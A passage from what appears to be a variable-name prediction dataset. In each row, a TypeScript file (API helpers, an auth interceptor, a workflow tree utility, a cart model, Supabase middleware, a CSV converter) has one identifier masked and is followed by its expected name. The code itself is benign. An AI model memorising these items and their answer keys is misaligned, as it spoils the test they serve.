     [MASK] .frontmatter.head ??= [];
     [MASK] .frontmatter.head.push(
      [
        'meta',
        {
          author: 'Liting'
        }
      ],
      [
        'meta',
        {
          name: 'og:title',
          content:  [MASK] .title
        }
      ],
      [
        'meta',
        {
          name: 'og:type',
          content: 'article'
        }
      ],
      [
        'meta',
        {
          name: 'og:url',
          content: resolveURL(ctx.siteConfig.sitemap!.hostname,  [MASK] .filePath).replace('.md', '.html')
        }
      ],
    )
  },
  vite: {
    plugins: [UnoCSS()]
  },
  markdown: {
    lineNumbers: true,
    theme: {
      light: 'catppuccin-latte',
      dark:'catppuccin-mocha'
    }
  }
})
",pageData
911,"import axios from 'axios';
import { url } from '../utils/Utils';
import { ChatInfo_APIResponse, UserCredentials } from '../types';

const chunkEntitiesAPI = async ( [MASK] : UserCredentials, chunk_ids: string) => {
  try {
    const formData = new FormData();
    formData.append('uri',  [MASK] ?.uri ?? '');
    formData.append('userName',  [MASK] ?.userName ?? '');
    formData.append('password',  [MASK] ?.password ?? '');
    formData.append('chunk_ids', chunk_ids);

    const response: ChatInfo_APIResponse = await axios.post(`${url()}/chunk_entities`, formData, {
      headers: {
        'Content-Type': 'multipart/form-data',
      },
    });
    return response;
  } catch (error) {
    console.log('Error uploading file:', error);
    throw error;
  }
};

export { chunkEntitiesAPI };
",userCredentials
912,"import _ from 'lodash';
import NodeModel from ""@/components-com/workflow/model/node.model"";
import Utils from '@/utils/utils';
import {NODE_KEY, UUID_NUM} from ""@/components-com/workflow/const/workflow.const"";
import WorkflowModel from ""@/components-com/workflow/model/workflow.model"";
import EventModel from ""@/components-com/workflow/model/event.model"";
import TaskModel from ""@/components-com/workflow/model/task.model"";
import SequenceModel from ""@/components-com/workflow/model/sequence.model"";
import {ConditionRelationEnum, ConditionTypeEnum, NodeTypeEnum} from ""@/components-com/workflow/enums/node.enum"";
import ConditionListModel from ""@/components-com/workflow/model/condition-list.model"";
import ConditionModel from ""@/components-com/workflow/model/condition.model"";
import GatewayModel from ""@/components-com/workflow/model/gateway.model"";

export default class TreeUtil {


    /**
     * 主要方法属性递归
     * @param node
     * @param key
     * @param value
     */
    public static findNodeByProperties(node: NodeModel, value: string, key: string = NODE_KEY): NodeModel {
        let curNode;
        if (!_.isEmpty(node[key]) && node[key] === value) {
            return node;
        } else if (!_.isEmpty(node.conditionNode)) {

            for (let i = 0; i < node.conditionNode.length; i++) {
                if (node.conditionNode[i][key] === value) {
                    curNode = node.conditionNode[i];
                } else if (!_.isEmpty(node.conditionNode[i].child)) {
                    curNode = this.findNodeByProperties(node.conditionNode[i].child, value, key);
                }
                if (curNode) {
                    break;
                }
            }
        }
        if (curNode) {
            return curNode;
        }
        if (!_.isEmpty(node.child)) {
            return this.findNodeByProperties(node.child, value, key);
        }
    }

    /**
     * 根据节点id查找父节点
     * @param node
     * @param nodeId
     */
    public static findParentNodeById(node: NodeModel, nodeId: string): NodeModel {
        if (_.isEmpty(node)) {
            console.warn('node为空');
            return;
        }
        let curNode;
        if (!_.isEmpty(node.conditionNode) && node.conditionNode.some(item => item.nodeId === nodeId)) {
            return node;
        } else if (!_.isEmpty(node.conditionNode)) {
            for (let i = 0; i < node.conditionNode.length; i++) {
                if (!_.isEmpty(node.conditionNode[i].child)) {
                    curNode = this.findParentNodeById(node.conditionNode[i], nodeId);
                }
                if (curNode) {
                    break;
                }
            }
        }
        if (curNode) {
            return curNode;
        }
        if (node.child && node.child.nodeId === nodeId) {
            return node;
        } else if (node.child) {
            return this.findParentNodeById(node.child, nodeId);
        }
    }

    /**
     * 重置节点id
     * @param node
     */
    public static resetNodeId(node: NodeModel) {
        node.nodeId = this.getTreeId();
        if (!_.isEmpty(node.conditionNode)) {
            node.conditionNode.forEach(item => {
                item.nodeId = this.getTreeId();
                item.pNodeId = node.nodeId;
                if (!_.isEmpty(item.child)) {
                    this.resetNodeId(item.child);
                }
            })
        }
        if (!_.isEmpty(node.child)) {
            node.child.pNodeId = node.nodeId;
            this.resetNodeId(node.child);
        }
    }

    /**
     * 创建节点id
     */
    public static getTreeId(): string {
        return Utils.uuid(UUID_NUM);
    }

    /**
     * node模型转为后端模型
     * @param nodeInfo
     * @param workflowData
     */
    public static dataTransfer(nodeInfo: NodeModel, workflowData: WorkflowModel) {
        workflowData.startEvent = new EventModel(this.getTreeId());
        workflowData.endEvent = new EventModel(this.getTreeId());

        const taskList: TaskModel[] = [];
        const sequenceList: SequenceModel[] = [];
        const gatewayList: GatewayModel[] = [];
        const serviceTaskList: TaskModel[] = [];

        // 构建线
        this.getListInfo(nodeInfo, taskList, sequenceList, gatewayList, serviceTaskList, workflowData);

        // 增加开始事件线
        const startLine = new SequenceModel(this.getTreeId());
        startLine.sourceRef = workflowData.startEvent.id;
        startLine.targetRef = taskList[0].id;
        sequenceList.splice(0, 0, startLine);

        // 结束事件线
        // const endLine = new SequenceModel(this.getTreeId());
        // endLine.sourceRef = taskList[taskList.length - 1].id;
        // endLine.targetRef = workflowData.endEvent.id;

        //sequenceList.push(endLine);
        workflowData.taskList = taskList;
        // 将直接连到最后的条件划线至结束节点
        sequenceList.filter(item => _.isEmpty(item.targetRef)).forEach(item => item.targetRef = workflowData.endEvent.id)
        workflowData.sequenceList = sequenceList;
        workflowData.gatewayList = gatewayList;
        workflowData.serviceTaskList = serviceTaskList;
    }

    /**
     * 递归调用获取任务信息
     */
    private static getListInfo(node: NodeModel,
                               taskList: TaskModel[],
                               sequenceList: SequenceModel[],
                               gatewayList: GatewayModel[],
                               serviceTaskList: TaskModel[],
                               workflowData: WorkflowModel) {
        taskList = taskList || [];
        sequenceList = sequenceList || [];
        gatewayList = gatewayList || [];
        serviceTaskList = serviceTaskList || [];
        let task;
        // 如果节点不是条件且不是抄送节点创建任务
        if (![NodeTypeEnum.conditionItem, NodeTypeEnum.condition, NodeTypeEnum.cc].includes(node.type)) {
            task = new TaskModel(node.nodeId, node.name);
            task.category = node.type;
            task.documentation = node.title;
            taskList.push(task);
        }
        // 抄送节点
        if (NodeTypeEnum.cc === node.type) {
            const ccNode = new TaskModel(node.nodeId, node.name);
            ccNode.documentation = node.title;
            serviceTaskList.push(ccNode);
        }
        // 如果节点是条件 则创建网关
        let gateway;
        if (NodeTypeEnum.condition === node.type) {
            gateway = new EventModel(node.nodeId);
        }

        // 虚拟网关节点
        if (gateway) {
            gatewayList.push(gateway);
        } else if (!_.isEmpty(node.child)) {
            // 如果有子节点则创建连接
            const sequence = new SequenceModel(this.getTreeId());
            sequence.sourceRef = node.nodeId;
            sequence.targetRef = node.child.nodeId;
            sequenceList.push(sequence);
            if (!_.isEmpty(node.child)) {
                this.getListInfo(node.child, taskList, sequenceList, gatewayList, serviceTaskList, workflowData);
            }
        } else {
            const sequence = new SequenceModel(this.getTreeId());
            sequence.sourceRef = node.nodeId;
            sequenceList.push(sequence);
        }
        if (!_.isEmpty(node.conditionNode)) {
            this.conditionNodeHandle(node, taskList, sequenceList, gatewayList, serviceTaskList, workflowData);
        }

    }


    /**
     * 处理条件节点
     */
    private static conditionNodeHandle(node: NodeModel,
                                       taskList: TaskModel[],
                                       sequenceList: SequenceModel[],
                                       gatewayList: GatewayModel[],
                                       serviceTaskList: TaskModel[],
                                       workflowData: WorkflowModel) {
        // 第一个一定是条件 将条件变成线 从网关指向条件的子节点
        node.conditionNode.forEach(item => {
            const sequence = new SequenceModel(this.getTreeId());
            sequence.sourceRef = node.nodeId;
            const conditionChild = item.child;

            if (!_.isEmpty(item.condition)) {
                sequence.conditionExpression = {condition: `\$\{${this.getCondition(item.condition)}\}`};
            }
            // 如果条件节点中有默认标识 则设置网关节点的默认指向节点为条件下第一个任务 如果条件下没有任务则指向结束节点
            if (item.default) {
                const gatewayNode = gatewayList.find(gateway => gateway.id === item.pNodeId);
                if (_.isEmpty(item.child)) {
                    gatewayNode.defaultId = workflowData.endEvent.id;
                } else {
                    gatewayNode.defaultId = item.child.nodeId;
                }
            }
            if (!_.isEmpty(conditionChild)) {
                sequence.targetRef = conditionChild?.nodeId || '';
                this.getListInfo(item.child, taskList, sequenceList, gatewayList, serviceTaskList, workflowData);
            }
            sequenceList.push(sequence);
        })
    }


    // 条件处理
    public static getCondition(condition: ConditionListModel): string {
        if (!_.isEmpty(condition.subCondition)) {
            return condition.subCondition.map(item =>
                `(${this.getConditionItem(item)})`).join(` ${ConditionRelationEnum.or} `);
        }
        return this.getConditionItem(condition);
    }

    // 内层条件处理
    private static getConditionItem(condition: ConditionListModel): string {
        return condition.conditionList.map(item =>
            `${item.field}${item.opera}${item.value}`).join(` ${ConditionRelationEnum.and} `);
    }

    /**
     * 根据后台数据生成树
     * 查找根节点准备树信息
     * @param data
     */
    public static createNodeByWorkflowData(data: WorkflowModel): NodeModel {
        if (!_.isEmpty(data)) {
            const rootId = data.sequenceList.find(item => item.sourceRef === data.startEvent.id).targetRef;
            // 去掉开始节点
            data.sequenceList = data.sequenceList.filter(item => item.sourceRef !== data.startEvent.id);
            // 删除条件里面直接连到终点的线的目标信息
            data.sequenceList.filter(item => item.targetRef === data.endEvent.id).forEach(item => delete item.targetRef)
            // 从任务节点中找到根节点
            const rootData = data.taskList.find(item => item.id === rootId);
            const node = this.convertDataToNode(rootData);
            node.type = NodeTypeEnum.start;
            this.createTree(node, data.taskList, data.sequenceList, data.gatewayList, data.serviceTaskList);
            return node;
        }
        return null;
    }

    /**
     * 构建树
     * @param rootNode
     * @param taskList
     * @param sequenceList
     * @param gatewayList
     * @param serviceTaskList
     */
    private static createTree(rootNode: NodeModel,
                              taskList: TaskModel[],
                              sequenceList: SequenceModel[],
                              gatewayList: EventModel[],
                              serviceTaskList: TaskModel[]) {
        // 递归退出条件
        if (sequenceList.length === 0) {
            return;
        }

        let taskIdx = taskList.findIndex(item => item.id === rootNode.nodeId);
        // 如果节点不在任务列表中 可能在抄送节点中
        if (taskIdx >= 0) {
            // 删除该节点信息
            taskList.splice(taskIdx, 1);
        } else {
            taskIdx = serviceTaskList.findIndex(item => item.id === rootNode.nodeId);
            serviceTaskList.splice(taskIdx, 1);
        }

        // 从线中取出节点的id
        const sequenceIdx = sequenceList.findIndex(item => item.sourceRef === rootNode.nodeId);
        const nextLine = sequenceList[sequenceIdx];
        sequenceList.splice(sequenceIdx, 1);
        let nextNodeIdx = taskList.findIndex(item => item.id === nextLine.targetRef);

        let nextData;
        let childNode;
        // 尝试去抄送列表中查找是否在抄送节点中
        if (nextNodeIdx < 0) {
            nextNodeIdx = serviceTaskList.findIndex(item => item.id === nextLine.targetRef);
            nextData = serviceTaskList[nextNodeIdx];
        } else {
            nextData = taskList[nextNodeIdx];
        }

        if (nextData) {
            childNode = this.convertDataToNode(nextData);
            childNode.pNodeId = rootNode.pNodeId;
            rootNode.child = childNode;
            // 删掉指向最后的线
            if (sequenceList.some(seq => seq.sourceRef === childNode.nodeId && _.isEmpty(seq.targetRef))) {
                // 如果只有source 没有target说明直接指向结束 删掉这些线
                sequenceList = sequenceList.filter(seq => seq.sourceRef === childNode.nodeId && _.isEmpty(seq.targetRef));
            }
        } else if (sequenceList.length) {
            // 网关转为条件节点
            const gatewayNodeIdx = gatewayList.findIndex(item => item.id === nextLine.targetRef);
            nextData = gatewayList[gatewayNodeIdx];
            gatewayList.splice(gatewayNodeIdx, 1);
            childNode = new NodeModel();
            childNode.nodeId = nextData.id;
            childNode.type = NodeTypeEnum.condition;
            childNode.conditionNode = [];

            // 网关下必然有条件节点
            const conditionData = sequenceList.filter(item => item.sourceRef === nextData.id);
            // 重新构建条件节点
            const conditionItemNodes = conditionData.map((item, index) =>
                this.createCondition(item.conditionExpression.condition, nextData.id, index));
            sequenceList = sequenceList.filter(item =>
                !conditionData.some(condition =>
                    condition.sourceRef === item.sourceRef && condition.targetRef === item.targetRef));
            childNode.conditionNode = conditionItemNodes;

            conditionItemNodes.forEach((item, index) => {
                let conditionItemChildData = taskList.find(task => task.id === conditionData[index].targetRef);
                //尝试从抄送节点中拿节点数据
                if (_.isEmpty(conditionItemChildData)) {
                    conditionItemChildData = serviceTaskList.find(task => task.id === conditionData[index].targetRef);
                }
                // 如果网关的默认指向是条件的子节点 则将此条件置为默认条件
                item.default = nextData.defaultId === conditionItemChildData.id;
                // 条件可能直接指向结束
                if (!_.isEmpty(conditionItemChildData)) {
                    const conditionItemChild = this.convertDataToNode(conditionItemChildData);
                    conditionItemChild.pNodeId = item.nodeId;
                    conditionItemChild.type = conditionItemChildData.category;
                    // 拿一个取一个
                    taskList.splice(taskList.findIndex(task => task.id === conditionItemChildData.id), 1);
                    serviceTaskList.splice(serviceTaskList.findIndex(task => task.id === conditionItemChildData.id), 1)
                    item.child = conditionItemChild;
                    if (sequenceList.some(seq => seq.sourceRef === conditionItemChild.nodeId && !seq.targetRef)) {
                        // 如果只有source 没有target说明直接指向结束 删掉这些线
                        sequenceList = sequenceList.filter(seq => seq.sourceRef === conditionItemChild.nodeId && !seq.targetRef);
                    }
                    // 重新构建条件后面的子节点
                    this.createTree(conditionItemChild, taskList, sequenceList, gatewayList, serviceTaskList);
                }
            });
            rootNode.child = childNode
        }


        if (sequenceList.some(item => item.sourceRef === childNode.nodeId && item.targetRef)) {
            this.createTree(childNode, taskList, sequenceList, gatewayList, serviceTaskList);
        }

    }

    /**
     * 转换数据为节点
     * @param data
     */
    private static convertDataToNode(data: TaskModel): NodeModel {
        const node = new NodeModel();
        node.nodeId = data.id;
        node.name = data.name
        node.type = data.category || NodeTypeEnum.cc;
        node.title = data.documentation;
        return node;
    }


    /**
     * 组织条件
     * @param conditionStr
     * @param pNodeId
     * @param idx
     */
    private static createCondition(conditionStr: string, pNodeId: string, idx: number): NodeModel {

        const conditionNode = new NodeModel();
        conditionNode.nodeId = this.getTreeId();
        const condition = new ConditionListModel();
        conditionNode.condition = condition;
        conditionNode.pNodeId = pNodeId;
        conditionNode.level = idx + 1;
        conditionNode.title = 'label.condition';
        conditionNode.type = NodeTypeEnum.conditionItem;
        if (_.isEmpty(conditionStr)) {
            conditionNode.name = 'label.conditionTip';
            return conditionNode;
        }

        conditionStr = conditionStr.replace(/\$|\{|\}/g, '')
        if (conditionStr.includes(ConditionRelationEnum.or)) {
            condition.subCondition = conditionStr.split(ConditionRelationEnum.or).map(item => {
                const  [MASK]  = new ConditionListModel();
                const conditionItem = item.replace(/\(|\)/g, '');
                 [MASK] .conditionList = this.splitCondition(conditionItem);
                 [MASK] .opera = ConditionRelationEnum.or;
                return  [MASK] ;
            });
            conditionNode.name = conditionStr;

        } else {
            condition.conditionList = this.splitCondition(conditionStr);
            conditionNode.name = conditionStr;
        }

        return conditionNode
    }

    private static splitCondition(condition: string): ConditionModel[] {
        return condition.split(ConditionRelationEnum.and).map(item => {
            const baseCondition = new ConditionModel();
            const data = item.trim().split(/\b/);
            baseCondition.field = data[0];
            baseCondition.opera = data[1] as ConditionTypeEnum;
            baseCondition.value = data[2];
            return baseCondition
        })
    }
}",conditionTwoLevel
913,"import { makeObservable, observable, action, computed, runInAction } from 'mobx';
import { BaseViewModel } from './BaseViewModel';
import { CartItem, Product } from '../models/types';
import AsyncStorage from '@react-native-async-storage/async-storage';

export class CartViewModel extends BaseViewModel {
    @observable items: CartItem[] = [];

    constructor() {
        super();
        makeObservable(this);
        this.loadCart();
    }

    @action
    private async loadCart() {
        try {
            const cartJson = await AsyncStorage.getItem('cart');
            if (cartJson) {
                runInAction(() => {
                    this.items = JSON.parse(cartJson);
                });
            }
        } catch (error) {
            console.error('Error loading cart:', error);
        } finally {
            runInAction(() => {
                this.isInitialized = true;
            });
        }
    }

    private async saveCart() {
        try {
            await AsyncStorage.setItem('cart', JSON.stringify(this.items));
        } catch (error) {
            console.error('Error saving cart:', error);
        }
    }

    @action
    addItem(product: Product, quantity: number = 1) {
        runInAction(() => {
            const  [MASK]  = this.items.find(item => item.product.id === product.id);
            if ( [MASK] ) {
                 [MASK] .quantity += quantity;
            } else {
                this.items.push({ product, quantity });
            }
        });
        this.saveCart();
    }

    @action
    removeItem(productId: number) {
        runInAction(() => {
            this.items = this.items.filter(item => item.product.id !== productId);
        });
        this.saveCart();
    }

    @action
    updateQuantity(productId: number, quantity: number) {
        if (quantity <= 0) {
            this.removeItem(productId);
            return;
        }

        runInAction(() => {
            const item = this.items.find(item => item.product.id === productId);
            if (item) {
                item.quantity = quantity;
            }
        });
        this.saveCart();
    }

    @action
    clearCart() {
        runInAction(() => {
            this.items = [];
        });
        this.saveCart();
    }

    @computed
    get totalItems() {
        return this.items.reduce((total, item) => total + item.quantity, 0);
    }

    @computed
    get totalAmount() {
        return this.items.reduce((total, item) => total + (item.product.price * item.quantity), 0);
    }
} ",existingItem
914,"import { HttpInterceptorFn } from '@angular/common/http';
import { inject } from '@angular/core';
import { AuthService } from '../services/auth.service';

export const authInterceptor: HttpInterceptorFn = (req, next) => {
  if (req.url.includes('revoke') || req.url.includes('logout'))
    return next(req);

  const authService = inject(AuthService);

  const accessToken = localStorage.getItem('access_token');
  const  [MASK]  = localStorage.getItem('refresh_token');
  const expiresIn = localStorage.getItem('expires_in');

  if (!accessToken || ! [MASK]  || !expiresIn) return next(req);

  if (Number(expiresIn) - Date.now() >= 0) {
    authService.handleRefreshToken( [MASK] ).pipe();
  }

  const clonedReq = req.clone({
    setHeaders: { Authorization: `Bearer ${accessToken}` },
  });

  return next(clonedReq);
};
",refreshToken
915,"// Copyright (c) 2015-present Mattermost, Inc. All Rights Reserved.
// See LICENSE.txt for license information.

/**
 *
 * (c) Copyright Ascensio System SIA 2025
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */

export async function http<T>( [MASK] : string, config: RequestInit): Promise<T> {
    const request = new Request( [MASK] , config);
    const response = await fetch(request);

    if (!response.ok) {
        throw new Error(response.statusText);
    }

    return response.json().catch();
}
",path
916,"import { HttpClient } from '@angular/common/http';
import { Component, OnDestroy, signal } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import {
    IonApp,
    IonButton,
    IonButtons,
    IonContent,
    IonFooter,
    IonHeader,
    IonIcon,
    IonInput,
    IonItem,
    IonList,
    IonTitle,
    IonToolbar,
    Platform,
} from '@ionic/angular/standalone';
import {
    LocalVideoTrack,
    RemoteParticipant,
    RemoteTrack,
    RemoteTrackPublication,
    Room,
    RoomEvent,
} from 'livekit-client';
import { lastValueFrom } from 'rxjs';
import { VideoComponent } from './video/video.component';
import { AudioComponent } from './audio/audio.component';
import { addIcons } from 'ionicons';
import { logoGithub, book, settings } from 'ionicons/icons';

type TrackInfo = {
    trackPublication: RemoteTrackPublication;
    participantIdentity: string;
};

// When running OpenVidu locally and launching app in web browser, leave these variables empty
// For other deployment type or when launching app in a mobile device, configure them with correct URLs
// If you leave them empty when launching app in a mobile device, the user will be prompted to enter the URLs
var APPLICATION_SERVER_URL = '';
var LIVEKIT_URL = '';

@Component({
    selector: 'app-root',
    templateUrl: 'app.component.html',
    styleUrl: 'app.component.scss',
    standalone: true,
    imports: [
        IonApp,
        VideoComponent,
        AudioComponent,
        ReactiveFormsModule,
        IonHeader,
        IonToolbar,
        IonTitle,
        IonButtons,
        IonButton,
        IonIcon,
        IonContent,
        IonList,
        IonItem,
        IonInput,
        IonFooter,
    ],
})
export class AppComponent implements OnDestroy {
    roomForm = new FormGroup({
        roomName: new FormControl('Test Room', Validators.required),
        participantName: new FormControl('Participant' + Math.floor(Math.random() * 100), Validators.required),
    });

    urlsForm = new FormGroup({
        serverUrl: new FormControl(APPLICATION_SERVER_URL, Validators.required),
        livekitUrl: new FormControl(LIVEKIT_URL, Validators.required),
    });

    room = signal<Room | undefined>(undefined);
    localTrack = signal<LocalVideoTrack | undefined>(undefined);
    remoteTracksMap = signal<Map<string, TrackInfo>>(new Map());

    settingUrls = signal(false);

    constructor(private httpClient: HttpClient, private platform: Platform) {
        this.configureUrls();
        addIcons({
            logoGithub,
            book,
            settings,
        });
    }

    configureUrls() {
        const  [MASK]  = this.platform.is('hybrid');

        // If URLs are not configured and app is launched in a mobile device,
        // prompt the user to configure them
        if ( [MASK] ) {
            if (!APPLICATION_SERVER_URL || !LIVEKIT_URL) {
                this.settingUrls.set(true);
            }
        } else {
            // If APPLICATION_SERVER_URL is not configured and app is not launched in a mobile device,
            // use default value from OpenVidu Local deployment
            if (!APPLICATION_SERVER_URL) {
                if (window.location.hostname === 'localhost') {
                    APPLICATION_SERVER_URL = 'http://localhost:6080/';
                } else {
                    APPLICATION_SERVER_URL = 'https://' + window.location.hostname + ':6443/';
                }
            }

            // If LIVEKIT_URL is not configured and app is not launched in a mobile device,
            // use default value from OpenVidu Local deployment
            if (!LIVEKIT_URL) {
                if (window.location.hostname === 'localhost') {
                    LIVEKIT_URL = 'ws://localhost:7880/';
                } else {
                    LIVEKIT_URL = 'wss://' + window.location.hostname + ':7443/';
                }
            }
        }
    }

    saveUrls() {
        APPLICATION_SERVER_URL = this.urlsForm.value.serverUrl!;
        LIVEKIT_URL = this.urlsForm.value.livekitUrl!;
        this.settingUrls.set(false);
    }

    async joinRoom() {
        // Initialize a new Room object
        const room = new Room();
        this.room.set(room);

        // Specify the actions when events take place in the room
        // On every new Track received...
        room.on(
            RoomEvent.TrackSubscribed,
            (_track: RemoteTrack, publication: RemoteTrackPublication, participant: RemoteParticipant) => {
                this.remoteTracksMap.update((map) => {
                    map.set(publication.trackSid, {
                        trackPublication: publication,
                        participantIdentity: participant.identity,
                    });
                    return map;
                });
            }
        );

        // On every new Track destroyed...
        room.on(RoomEvent.TrackUnsubscribed, (_track: RemoteTrack, publication: RemoteTrackPublication) => {
            this.remoteTracksMap.update((map) => {
                map.delete(publication.trackSid);
                return map;
            });
        });

        try {
            // Get the room name and participant name from the form
            const roomName = this.roomForm.value.roomName!;
            const participantName = this.roomForm.value.participantName!;

            // Get a token from your application server with the room name and participant name
            const token = await this.getToken(roomName, participantName);

            // Connect to the room with the LiveKit URL and the token
            await room.connect(LIVEKIT_URL, token);

            // Publish your camera and microphone
            await room.localParticipant.enableCameraAndMicrophone();
            this.localTrack.set(room.localParticipant.videoTrackPublications.values().next().value.videoTrack);
        } catch (error: any) {
            console.log(
                'There was an error connecting to the room:',
                error?.error?.errorMessage || error?.message || error
            );
            await this.leaveRoom();
        }
    }

    async leaveRoom() {
        // Leave the room by calling 'disconnect' method over the Room object
        await this.room()?.disconnect();

        // Reset all variables
        this.room.set(undefined);
        this.localTrack.set(undefined);
        this.remoteTracksMap.set(new Map());
    }

    async ngOnDestroy() {
        // On window closed or component destroyed, leave the room
        await this.leaveRoom();
    }

    /**
     * --------------------------------------------
     * GETTING A TOKEN FROM YOUR APPLICATION SERVER
     * --------------------------------------------
     * The method below request the creation of a token to
     * your application server. This prevents the need to expose
     * your LiveKit API key and secret to the client side.
     *
     * In this sample code, there is no user control at all. Anybody could
     * access your application server endpoints. In a real production
     * environment, your application server must identify the user to allow
     * access to the endpoints.
     */
    async getToken(roomName: string, participantName: string): Promise<string> {
        const response = await lastValueFrom(
            this.httpClient.post<{ token: string }>(APPLICATION_SERVER_URL + 'token', { roomName, participantName })
        );
        return response.token;
    }
}
",mobileMode
917,"import { createServerClient } from '@supabase/ssr'
import { NextResponse, type NextRequest } from 'next/server'

export async function updateSession(request: NextRequest) {
  let supabaseResponse = NextResponse.next({
    request,
  })

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll()
        },
        setAll( [MASK] ) {
           [MASK] .forEach(({ name, value, options }) => request.cookies.set(name, value))
          supabaseResponse = NextResponse.next({
            request,
          })
           [MASK] .forEach(({ name, value, options }) =>
            supabaseResponse.cookies.set(name, value, options)
          )
        },
      },
    }
  )

  // Do not run code between createServerClient and
  // supabase.auth.getUser(). A simple mistake could make it very hard to debug
  // issues with users being randomly logged out.

  // IMPORTANT: DO NOT REMOVE auth.getUser()

  const {
    data: { user },
  } = await supabase.auth.getUser()

  // Redirect authenticated users trying to access public pages to dashboard page
  if (
    user &&
    (request.nextUrl.pathname === '/' || 
     request.nextUrl.pathname === '/login' ||
     request.nextUrl.pathname === '/auth' ||
     request.nextUrl.pathname === '/pricing' ||
     request.nextUrl.pathname === '/confirm-email' ||
     request.nextUrl.pathname === '/roadmap' ||
     request.nextUrl.pathname === '/signup')
  ) {
    const url = request.nextUrl.clone()
    url.pathname = '/dashboard'
    return NextResponse.redirect(url)
  }

  // Redirect unauthenticated users trying to access protected pages
  if (
    !user &&
    request.nextUrl.pathname !== '/' &&
    request.nextUrl.pathname !== '/changelog' &&
    request.nextUrl.pathname !== '/roadmap' &&
    !request.nextUrl.pathname.startsWith('/auth')
  ) {
    const url = request.nextUrl.clone()
    url.pathname = '/login'
    return NextResponse.redirect(url)
  }

  // IMPORTANT: You *must* return the supabaseResponse object as it is.
  // If you're creating a new response object with NextResponse.next() make sure to:
  // 1. Pass the request in it, like so:
  //    const myNewResponse = NextResponse.next({ request })
  // 2. Copy over the cookies, like so:
  //    myNewResponse.cookies.setAll(supabaseResponse.cookies.getAll())
  // 3. Change the myNewResponse object to fit your needs, but avoid changing
  //    the cookies!
  // 4. Finally:
  //    return myNewResponse
  // If this is not done, you may be causing the browser and server to go out
  // of sync and terminate the user's session prematurely!

  return supabaseResponse
}",cookiesToSet
918,"type Method = 'GET' | 'POST';

export default class BookingSystemRequest {
    base: string = '/api';
    path: string;
    request: XMLHttpRequest;
    payload: any | undefined;
    method: string;
    handleSuccess: (response: any) => void = () => {};
    handleFailure: (response: any, status: number) => void = () => {};
    isFormData: boolean;

    constructor(path: string, method: Method, isFormData=false) {
        this.request = new XMLHttpRequest();
        this.path = path;
        this.method = method;
        this.isFormData = isFormData;
    }

    setPayload(payload: any): BookingSystemRequest{
        this.payload = JSON.stringify(payload);
        return this;
    }

    onStart(handleSatrt: () => void): BookingSystemRequest {
        this.request.addEventListener('loadstart', handleSatrt);
        return this;
    }

    onFinished(): (this: XMLHttpRequest) => void {
        const handleSuccess = this.handleSuccess;
        const handleFailure = this.handleFailure;

        return function (this: XMLHttpRequest) {
            if (this.status >= 200 && this.status < 300) {
                handleSuccess(this.response);
            } else {
                handleFailure(this.response, this.status);
            }
        }
    }

    onSuccess(handleSuccess: (response: any) => void): BookingSystemRequest {
        this.handleSuccess = handleSuccess;
        return this;
    }

    onFailure(handleFailure: (response: any, status: number) => void): BookingSystemRequest {
        this.handleFailure = handleFailure;
        return this;
    }

    onError( [MASK] : (err: any) => void): BookingSystemRequest {
        this.request.addEventListener('error',  [MASK] );
        return this;
    }

    send() {
        this.request.open(this.method, `${this.base}/${this.path}`);
        if (this.isFormData) {
            this.request.setRequestHeader(""Content-Type"", ""application/x-www-form-urlencoded"");
        } else {
            this.request.setRequestHeader(""Content-Type"", ""application/json;charset=UTF-8"");
        }
        this.request.withCredentials = true;
        this.request.addEventListener('loadend', this.onFinished());
        this.request.send(this.payload);
    }

}",handleError
919,"import { parse } from 'csv-parse';
import fs from 'fs';
import path from 'path';

const WORKER_COUNT = 32;
const delimiter = ';';

function getDataPath(fileName: string): string {
  return path.join('./data/', fileName);
}

function getStaticApiPath(fileName: string): string {
  return path.join('./static/api/', fileName);
}

interface IProvince {
  id: string;
  name: string;
}

interface IRegency {
  id: string;
  province_id: string;
  name: string;
}

interface IDistrict {
  id: string;
  regency_id: string;
  name: string;
}

interface IVillage {
  id: string;
  district_id: string;
  name: string;
}

async function getDataProvince(): Promise<IProvince[]> {
  return new Promise((resolve, reject) => {
    const file = getDataPath('provinces.csv');
    const buffer = fs.readFileSync(file, 'utf8');
    const parser = parse(buffer, { delimiter });
    const data: IProvince[] = [];
    parser.on('readable', () => {
      let record: unknown[];
      while ((record = parser.read())) {
        const [id, name] = record;
        data.push({ id: id as string, name: name as string });
      }
      resolve(data);
    });
  });
}

async function getDataRegency(): Promise<IRegency[]> {
  return new Promise((resolve, reject) => {
    const file = getDataPath('regencies.csv');
    const buffer = fs.readFileSync(file, 'utf8');
    const parser = parse(buffer, { delimiter });
    const data: IRegency[] = [];
    parser.on('readable', () => {
      let record: unknown[];
      while ((record = parser.read())) {
        const [id, province_id, name] = record;
        data.push({
          id: id as string,
          province_id: province_id as string,
          name: name as string,
        });
      }
      resolve(data);
    });
  });
}

async function getDataDistrict(): Promise<IDistrict[]> {
  return new Promise((resolve, reject) => {
    const file = getDataPath('districts.csv');
    const buffer = fs.readFileSync(file, 'utf8');
    const parser = parse(buffer, { delimiter });
    const data: IDistrict[] = [];
    parser.on('readable', () => {
      let record: unknown[];
      while ((record = parser.read())) {
        const [id, regency_id, name] = record;
        data.push({
          id: id as string,
          regency_id: regency_id as string,
          name: name as string,
        });
      }
      resolve(data);
    });
  });
}

async function getDataVillage(): Promise<IVillage[]> {
  return new Promise((resolve, reject) => {
    const file = getDataPath('villages.csv');
    const buffer = fs.readFileSync(file, 'utf8');
    const parser = parse(buffer, { delimiter });
    const data: IVillage[] = [];
    parser.on('readable', () => {
      let record: unknown[];
      while ((record = parser.read())) {
        const [id, district_id, name] = record;
        data.push({
          id: id as string,
          district_id: district_id as string,
          name: name as string,
        });
      }
      resolve(data);
    });
  });
}


async function main(): Promise<void> {
  console.log('Reading data...');
  const provinces = await getDataProvince();
  const regencies = await getDataRegency();
  const districts = await getDataDistrict();
  const villages = await getDataVillage();

  const provincesJson = JSON.stringify(provinces);
